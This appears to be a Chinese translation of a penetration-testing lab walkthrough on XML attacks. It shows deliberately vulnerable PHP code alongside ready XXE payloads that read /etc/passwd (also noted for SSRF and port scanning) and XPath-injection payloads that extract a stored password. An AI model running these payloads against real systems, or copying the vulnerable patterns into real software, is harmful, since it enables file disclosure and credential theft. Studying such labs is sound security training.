在本节中,将详细介绍与XML相关的攻击。这些类型的攻击在Web服务和使用XPath从XML文件中检索配置设置的应用程序中很常见(例如,根据提供的组织名称了解他们需要使用哪些后端来验证用户)。
Example 1
<?php require_once("../header.php"); ?> Hello <?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml); ?> <?php require_once("../footer.php"); ?>
一些XML解析器将解析外部实体,并允许控制XML消息的用户访问资源; 例如,读取系统上的文件。可以声明以下实体,例如:
<!ENTITY x SYSTEM "file:///etc/passwd">
您需要正确包装,以使其正常工作:
<!DOCTYPE test [ <!ENTITY x SYSTEM "file:///etc/passwd">]>
然后,您可以简单地使用x:&x; (不要忘记编码&)以在解析(服务器端)期间将相应的结果插入XML文档中。完整xml攻击如下:
?xml=<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]> <test>%26x;</test>
在此示例中,利用直接发生在GET请求中,但在传统Web应用程序中,更有可能使用POST请求执行这些类型的请求。 此问题在Web服务中也很常见,并且可能是您在攻击接受XML消息的应用程序时要进行的第一个测试。
此示例还可用于使应用程序执行HTTP请求(使用http://而不是file://),并可用作端口扫描程序。 但是,检索的内容通常是不完整的,因为XML解析器会尝试将其解析为文档的一部分。
当然:你也可以使用`ftp://`和`https://`。
Example 2
<?php require_once("../header.php"); $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>"; $xml=simplexml_load_string($x); $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message"; $res = ($xml->xpath($xpath)); while(list( ,$node) = each($res)) { echo $node; } ?> <?php require_once("../footer.php"); ?>
在此示例中,代码在XPath表达式中使用用户的输入。XPath是一种查询语言,它从XML文档中选择节点。将XML文档想象为数据库,将XPath想象为SQL查询。如果您可以操作查询,则可以检索通常无法访问的元素。
如果我们注入单引号,我们可以看到以下错误:
Warning: SimpleXMLElement::XPath(): Invalid predicate in /var/www/xml/example2.php on line 7 Warning: SimpleXMLElement::XPath(): xmlXPathEval: evaluation failed in /var/www/xml/example2.php on line 7 Warning: Variable passed to each() is not an array or object in /var/www/xml/example2.php on line 8
就像SQL注入一样,XPath允许你做布尔逻辑,你可以尝试:
- ?name=hacker’ and ‘1’=’1 你应该得到相同的结果。
- ?name=hacker’ or ‘1’=’0 你应该得到相同的结果。
- ?name=hacker’ and ‘1’=’0 你不应该得到任何结果。
- ?name=hacker’ or ‘1’=’1 你应该得到所有结果。
基于这些测试和以前的XPath知识,可以了解XPath表达式的外观:
[PARENT NODES]/name[.='[INPUT]']/[CHILD NODES]
要注释掉XPath表达式的其余部分,可以使用NULL BYTE(您需要将其编码为%00)。 正如我们在上面的XPath表达式中所看到的,我们还需要添加一个]以正确完成语法。 如果我们想要所有结果,我们的有效负载现在看起来像hacker’]%00(或hacker’ or 1=1]%00)。
如果我们尝试使用有效负载’%20or%201=1]/child::node()%00找到当前节点的子节点,我们就不会获得太多信息。
这里的问题是我们需要在节点层次结构中重新获得,以获取更多信息。 在XPath中,这可以使用parent::*作为有效负载的一部分来完成。 我们现在可以选择当前节点的父节点,并使用hacker’%20or%201=1]/parent::*/child::node()%00显示所有子节点。
其中一个节点的值看起来像一个密码。 我们可以通过使用有效负载hacker’]/parent::*/password%00检查节点的名称是否为password来确认这一点。